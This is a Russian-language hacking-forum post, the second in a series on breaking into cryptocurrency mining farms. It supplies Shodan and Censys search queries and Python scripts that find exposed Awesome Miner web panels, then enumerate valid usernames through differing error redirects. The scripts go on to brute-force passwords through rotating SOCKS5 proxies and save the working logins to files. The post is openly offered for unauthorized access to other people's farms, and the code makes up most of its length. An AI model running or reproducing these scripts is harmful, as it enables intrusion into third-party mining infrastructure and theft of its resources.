Брутим майнеры. Взлом майнинговых ферм. Часть 2

Messages
121
Reputation
1
Reaction score
46
Points
28
hacking-and-cryptocurrency-concept-815x570.jpg

Ты даже не можешь себе представить насколько некомпетентны и скупы люди, которые строят майнинговые фермы. Порой, доходит просто до абсурда. Люди с фермами с сотнями майнеров используют устаревшее или того хуже, пиратское, програмное обеспечении, для обеспечния работоспособности и мониторинга своих асиков. Примеров тому много. Но в этой статье мы тебе расскажем только про один. Остальное тебе предстоит додумать самому. Благо, ресурсов посвященных майнингу в интернете очень много. Как софта, про который мы тебе расскажем сегодня.

Да мой друг, сегодня мы будем получать доступ не к отдельным машинам, а к целым фермам.

Как мы и обещали, вот и вторая часть цикла статей про брут майнеров, в первой мы разбирали процесс брута веб панели асиков от компании INNOSILICON (ознакомится с исходниками программы и посмотреть результаты можете тут, код программы, которую мы допишем в этой статье можно найти тут.), в этой части речь пойдет про брут панели Awesome Miner.

Awesome Miner – это приложение для Windows, предназначенное для управления и мониторинга майнинга Bitcoin, Litecoin, Ethereum и других криптовалют. Awesome Miner также может отображать информацию, курсы валют и делать расчеты доходности всех других популярных монет. С помощью подписки на облачные сервисы уведомления могут также доставляться с помощью SMS или Telegram. У программы также есть встроенный веб-интерфейс, доступ к которому можно получить с любого компьютера, планшета или смартфона, его мы и будем брутить.

Очень удобный инструмент. В грамотных руках.

Вот только в интернете без труда можно найти версии Awesome Miner образца 2017-2018 с уже известными проблемами и уязвимостями. И люди не только устанавливать такое ПО для обеспечения работоспособности своих ферм, но и пробрасывают управление в интернет (иногда бывает даже без пароля).

И ещё раз, в этой статье мы просто “засвечиваем” тему. О том как её раскрутить ты должен подумать сам. Могу лишь сказать, что софта для управления фермами очень много. И очень много такого ПО имеет проблемы

Поиск майнинговых ферм через Shodan и Censys

Для сбора айпи, будем использовать Python 3 с библиотеками Shodan и Censys, поэтому необходимо создать там аккаунты и получить api ключи.

Искать панели в Censys можно по этому запросу: 80.http.get.body: Awesome Miner

Дорк для шодана: title:Awesome Miner или Awesome Miner

Скрипт (Python 3) для поиска айпи:

import os
import json
import time
import shodan
import censys
import datetime
from censys import ipv4

ip_list = []
shodan_api_key = "KEY"
censys_api_key = "KEY"
censys_api_secret = "SECRET"


def shodan_scanner(dork, start=1, stop=2):
api = shodan.Shodan(shodan_api_key)
for page in range(start, stop):
try:
time.sleep(0.5)
results = api.search(dork, page=page)
for result in results['matches']:
if result['ip_str'] not in ip_list:
ip_list.append(result['ip_str'])
print(result['ip_str'])
except shodan.exception.APIError as error:
print('[!] Error: ' + str(error))
continue


def censys_scanner(dork, records=25):
c = ipv4.CensysIPv4(api_id=censys_api_key, api_secret=censys_api_secret)
try:
for result in c.search(dork, max_records=records):
res = json.dumps(result, indent=4)
r = json.loads(res)
if r["ip"] not in ip_list:
ip_list.append(r["ip"])
print(r["ip"])
except censys.exceptions as error:
print('[!] Error: ' + str(error))


if __name__ == "__main__":
if not os.path.exists('logs'):
os.mkdir('logs')

date = datetime.datetime.today().strftime("%H.%M_%d-%m-%y")

print("Finding IP...\n")
results_file = r'logs/' + date + '.txt'

print("\nCensys:")
censys_scanner("80.http.get.body: Awesome Miner", records=40)
print("\nShodan:")
shodan_scanner("Awesome Miner", stop=3)

f = open(results_file, "a")
for ip in ip_list:
f.write(str(ip) + "\n")
print(ip)
f.close()

В первой части мы детальнее разбирали этот скрипт. Версии библиотек необходимых для его работы:
censys==1.1.1
shodan==1.25.0

После запуска создастся папка logs, в которой будут текстовые файлы с айпи:
izobrazhenie-1.png

izobrazhenie-3.png

Поиск панелей из списка айпи

Список айпи мы получили, осталось найти в этом списке панели Awesome Miner, для этого перейдем на страницу /signin?returnUrl=/ и посмотрим, как происходит авторизация:
izobrazhenie-4.png

izobrazhenie-5.png

Если пользователь существует, мы получаем сообщение о неверном пароле (http://IP/signin?error=invalidpassword), это поможет нам брутить юзеров, но сначала нужно найти айпи Awesome Miner-ов среди тех, которые нам дал Shodan и Censys. Для этого будем использовать библиотеку requests.
izobrazhenie-6.png

Если пользователь существует, мы получаем сообщение о неверном пароле (http://IP/signin?error=invalidpassword), это поможет нам брутить юзеров, но сначала нужно найти айпи Awesome Miner-ов среди тех, которые нам дал Shodan и Censys. Для этого будем использовать библиотеку requests.

izobrazhenie-6.png

После перехода на страницу входа (/signin), мы будем искать заголовок “Awesome Miner” и если находим его, записываем айпи в список awesome_miners, который нужно объявить в начале файла (если вы планируете использовать socks5 прокси, то нужно создать файл proxy.txt, в котором будут айпи вместе с портами):

def find_awesomeminers(url):
error = "Cannot connect to proxy"
while "Cannot connect to proxy" in str(error):
if url not in awesome_miners:
for retry in range(16):
try:
time.sleep(0.5)

if args.proxy:
prox = random.choice(proxy_list)
proxies = {
"https": "socks5h://" + str(prox),
"http": "socks5h://" + str(prox)}

send = requests.post("http://" + str(url) + "/signin", headers=headers_gen(), proxies=proxies,
verify=False, timeout=15)
else:
send = requests.post("http://" + str(url) + "/signin", headers=headers_gen(), verify=False,
timeout=15)

if r"<title>Awesome Miner</title>" in send.text:
if url not in awesome_miners:
print("[*] Awesome Miner found: " + str(url))
awesome_miners.append(url)

error = None
except Exception as e:
if "Cannot connect to proxy" in str(e) or "Read timed out" in str(e) or "Max retries exceeded" \
in str(e) or "Connection reset by peer" in str(e) or "RemoteDisconnected" in str(e):
pass
else:
print("\n" + str(e) + "\n")
error = str(e)

Скриншот работы поиска Awesome Miner-ов:

izobrazhenie-8.png

Начинаем брутить веб-панель

Теперь можем создать функцию, которая будет брутить логины для входа в панель. Процесс очень похож на тот, что мы использовали для брута AsicMiner-ов, изменений буквально пара строк, если хотите детальнее разобраться в работе, стоит прочитать первую часть.

def awesomeminer_web_user_brute(url):
for user in standard_users:
data = {“username”: user, “password”: “password”}

error = “Cannot connect to proxy”
while “Cannot connect to proxy” in str(error) or “Max retries exceeded” in str(error):
time.sleep(0.5)
try:
if args.proxy:
p = random.choice(proxy_list)
proxies = {
“https”: “socks5h://” + str(p),
“http”: “socks5h://” + str(p)}

send = requests.post(“http://” + str(url) + “/signin”, data=data, headers=headers_gen(),
proxies=proxies, verify=False, timeout=10)
else:
send = requests.post(“http://” + str(url) + “/signin”, data=data, headers=headers_gen(),
verify=False, timeout=10)

if r”/signin?error=invalidpassword” in send.url:
print(“[*] Username found: ” + user)
found = open(“found_users.txt”, “a”)
found.write(“url: ” + str(url) + “\tusername: ” + str(user) + “\n”)
found.close()

brute_data.insert(0, user)
brute_data.insert(1, url)

freeze_support()
pool_ = Pool(15)
pool_.map(awesomeminer_web_pass_brute, password_list)
pool_.close()
pool_.join()

elif r”/signin?error=invaliduser” in send.url:
print(“[-] Username ” + user + ” not found!”)
else:
print(“[!] There maybe error!”)

error = None
except Exception as e:
if “Cannot connect to proxy” in str(e) or “Max retries exceeded” in str(e):
pass
else:
print(“\n” + str(e) + “\n”)
error = str(e)

Функция для брута паролей:

def awesomeminer_web_pass_brute(password):
global brute_data
error = “Cannot connect to proxy”
user = brute_data[0]
url = brute_data[1]
print(“[!] Trying password: ” + password + ” for user: ” + str(user))
while “Cannot connect to proxy” in str(error) or “Max retries exceeded” in str(error):
try:
time.sleep(0.5)

d = {“username”: user, “password”: password}
if args.proxy:
prox = random.choice(proxy_list)
proxies = {
“https”: “socks5h://” + str(prox),
“http”: “socks5h://” + str(prox)}

pass_brute = requests.post(“http://” + str(url) + “/signin”, data=d, headers=headers_gen(),
proxies=proxies, verify=False, timeout=10)
else:
pass_brute = requests.post(“http://” + str(url) + “/signin”, data=d, headers=headers_gen(),
verify=False, timeout=10)

if r”Dashboard” in pass_brute.text:
print(“[*] Found password: ” + str(password) + ” for user: ” + str(user))
found = open(“found_pass.txt”, “a”)
found.write(“url: ” + str(url) + “\tusername: ” + str(user) + ” password: ” + password + “\n”)
found.close()

error = None
except Exception as e:
if “Cannot connect to proxy” in str(e) or “Max retries exceeded” in str(e):
pass
else:
print(“\n” + str(e) + “\n”)
error = str(e)

Скриншот работы брута логина и пароля:
izobrazhenie-10.png

После успешного брута появится файл found_pass.txt, в котором будет логин и пароль, с которым вы сможете войти в веб-панель:

izobrazhenie-11.png
Вот такие бывают фермы
Мы тебе показали лишь с чего начинать. Что делать дальше – думай сам. Фермы бывают очень разные. И по 10 асиков. И по 100. А бывает и по 1000. Как мы убедились, DevOPSы и админы там – не самые умные люди. А зачастую – просто откровенные идиоты.
 
Top